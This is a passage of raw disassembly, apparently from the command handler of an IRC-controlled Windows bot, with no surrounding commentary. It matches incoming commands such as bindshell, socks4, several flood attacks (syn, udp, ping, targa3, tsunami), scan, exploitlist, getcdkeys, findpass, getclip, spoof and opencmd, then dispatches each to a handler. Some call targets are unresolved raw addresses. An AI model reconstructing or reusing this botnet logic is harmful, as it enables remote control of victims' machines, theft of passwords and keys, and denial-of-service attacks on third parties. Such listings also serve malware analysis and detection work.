; ---------------------------------------------------------------------------
loc_4026C2: ; CODE XREF: sub_401ACD+BB1j
; sub_401ACD+BB8j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FD
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 18h
loc_4026FD: ; CODE XREF: sub_401ACD+BCAj
; sub_401ACD+BDEj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402656
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271A: ; CODE XREF: sub_401ACD+C99j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275D
mov eax, [edi]
cmp eax, ebx
jz short loc_40275D
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
loc_40275D: ; CODE XREF: sub_401ACD+C75j
; sub_401ACD+C7Bj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271A
mov [ebp+var_2C8], 1
loc_402772: ; CODE XREF: sub_401ACD+B01j
; sub_401ACD+B2Fj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278B
cmp [ebp+var_2C8], ebx
jz loc_40297C
loc_40278B: ; CODE XREF: sub_401ACD+CB0j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEE
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEE
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEE
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEE
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEE
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FD: ; CODE XREF: sub_401ACD+E28j
test eax, eax
jz loc_4028FA
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42C718 ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_402849
cmp [ebp+var_A0], 39h
jle short loc_40285F
loc_402849: ; CODE XREF: sub_401ACD+D71j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_40285F: ; CODE XREF: sub_401ACD+D7Aj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402885
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_402899
; ---------------------------------------------------------------------------
loc_402885: ; CODE XREF: sub_401ACD+DA1j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402899: ; CODE XREF: sub_401ACD+DB6j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FD
; ---------------------------------------------------------------------------
loc_4028FA: ; CODE XREF: sub_401ACD+D32j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42CA2C ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294A: ; CODE XREF: sub_401ACD+E92j
push offset asc_42CA2C ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294A
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297C: ; CODE XREF: sub_401ACD+CB8j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B40
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42C66C
loc_402B24: ; CODE XREF: sub_401ACD+10C1j
; sub_401ACD+10E7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B384
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B40: ; CODE XREF: sub_401ACD+1042j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B90
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C644
jmp short loc_402B24
; ---------------------------------------------------------------------------
loc_402B90: ; CODE XREF: sub_401ACD+10ACj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB9
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C628
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BB9: ; CODE XREF: sub_401ACD+10D2j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE2
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C60C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BE2: ; CODE XREF: sub_401ACD+10FBj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0B
push [ebp+esi+var_8C]
push 25h
push offset dword_42C5F8
push offset dword_42C5EC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_401ACD+1124j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C34
push [ebp+esi+var_8C]
push 18h
push offset dword_42C5CC
push offset dword_42C5BC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C34: ; CODE XREF: sub_401ACD+114Dj
push edi
push offset dword_42C5B0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5D
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C5A4
push offset dword_42C598
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C5D: ; CODE XREF: sub_401ACD+1176j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C86
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C584
push offset dword_42C578
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_401ACD+119Fj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CAF
push [ebp+esi+var_8C]
push 10h
push offset dword_42C55C
push offset dword_42C54C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CAF: ; CODE XREF: sub_401ACD+11C8j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD8
push [ebp+esi+var_8C]
push 11h
push offset dword_42C530
push offset dword_42C520
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_401ACD+11F1j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D01
push [ebp+esi+var_8C]
push 12h
push offset dword_42C508
push offset dword_42C4FC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402D01: ; CODE XREF: sub_401ACD+121Aj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E57
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C5A4
push offset dword_42C598
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 0Eh
push offset dword_42C584
push offset dword_42C578
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 17h
push offset dword_42C4E4
push offset dword_42C4D8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 16h
push offset dword_42C4CC
push offset dword_42C4C0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 11h
push offset dword_42C530
push offset dword_42C520
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 12h
push offset dword_42C508
push offset dword_42C4FC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 0Fh
push offset dword_42C4B0
push offset dword_42C4A0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 13h
push offset dword_42C490
push offset dword_42C480
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 10h
push offset dword_42C55C
push offset dword_42C54C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push ebx
push [ebp+var_4]
push offset unk_42C44C
push [ebp+var_88]
push edi
call sub_409A72
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E57: ; CODE XREF: sub_401ACD+1243j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E80
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C4B0
push offset dword_42C4A0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402E80: ; CODE XREF: sub_401ACD+1399j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA9
push [ebp+esi+var_8C]
push 13h
push offset dword_42C490
push offset dword_42C480
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EA9: ; CODE XREF: sub_401ACD+13C2j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED2
push [ebp+esi+var_8C]
push 17h
push offset dword_42C4E4
push offset dword_42C4D8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402ED2: ; CODE XREF: sub_401ACD+13EBj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFB
push [ebp+esi+var_8C]
push 16h
push offset dword_42C4CC
push offset dword_42C4C0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EFB: ; CODE XREF: sub_401ACD+1414j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F24
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C404
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402F24: ; CODE XREF: sub_401ACD+143Dj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA1
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C3B4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FA1: ; CODE XREF: sub_401ACD+14BAj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCA
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C390
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FCA: ; CODE XREF: sub_401ACD+14E3j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF3
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C370
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FF3: ; CODE XREF: sub_401ACD+150Cj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031BF
call sub_418337
test eax, eax
mov eax, offset unk_42C2AC
jnz short loc_403191
mov eax, offset unk_42C284
loc_403191: ; CODE XREF: sub_401ACD+16BDj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 1Ch
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4031BF: ; CODE XREF: sub_401ACD+16AFj
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340A
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C1C4
push offset dword_42C1B8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_40340A: ; CODE XREF: sub_401ACD+1923j
push edi
push offset dword_42C1B4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403527
cmp [ebp+var_8], ebx
jnz short loc_40343E
push ebx
push [ebp+var_4]
push offset dword_42C1A0
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40343E: ; CODE XREF: sub_401ACD+1955j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344C
; ---------------------------------------------------------------------------
loc_403449: ; CODE XREF: sub_401ACD+19CBj
mov eax, [ebp+arg_18]
loc_40344C: ; CODE XREF: sub_401ACD+197Aj
cmp [eax], bl
jz short loc_403453
inc eax
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403453: ; CODE XREF: sub_401ACD+1981j
mov eax, offset aEmpty ; "<Empty>"
loc_403458: ; CODE XREF: sub_401ACD+1984j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_403449
push offset unk_42C16C
call sub_4151AC
pop ecx
loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj
; sub_401ACD+2F43j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF4
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A22
lea eax, [ebp+var_2C4]
push offset unk_42C138
push eax
mov dword_4CE728, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FD: ; CODE XREF: sub_401ACD+3022j
cmp [ebp+var_8], ebx
jnz loc_409854
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_40351F: ; CODE XREF: sub_401ACD+7118j
add esp, 14h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_403527: ; CODE XREF: sub_401ACD+194Cj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B3
lea eax, [ebp+var_2C4]
push offset dword_42C090
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403692
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403692: ; CODE XREF: sub_401ACD+1BA7j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj
push edi
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aSa ; "sa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403707
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2C
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403707: ; CODE XREF: sub_401ACD+1C1Fj
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372D
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A5
loc_40372D: ; CODE XREF: sub_401ACD+1C49j
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C020
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1A
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4037D5
loc_4037BF: ; CODE XREF: sub_401ACD+1D06j
cmp [ebp+var_EC8], ebx
jnz loc_4083BC
push 32h
call near ptr 26703BBh
nop
jmp short loc_4037BF
; ---------------------------------------------------------------------------
loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j
call near ptr 2670D70h
nop
push eax
push offset unk_42BFE4
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j
; sub_401ACD+1C0Aj
mov al, byte_4315EA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4315EA
jz loc_401E94
mov ecx, edx
loc_4037FD: ; CODE XREF: sub_401ACD+1D38j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FD
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403817: ; CODE XREF: sub_401ACD+2008j
push 0Bh
call sub_40B33E
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403866
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42BFA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_403ACC
; ---------------------------------------------------------------------------
loc_403866: ; CODE XREF: sub_401ACD+1D64j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431408, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D7
mov edi, offset dword_431408
loc_40389B: ; CODE XREF: sub_401ACD+1DECj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BD
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389B
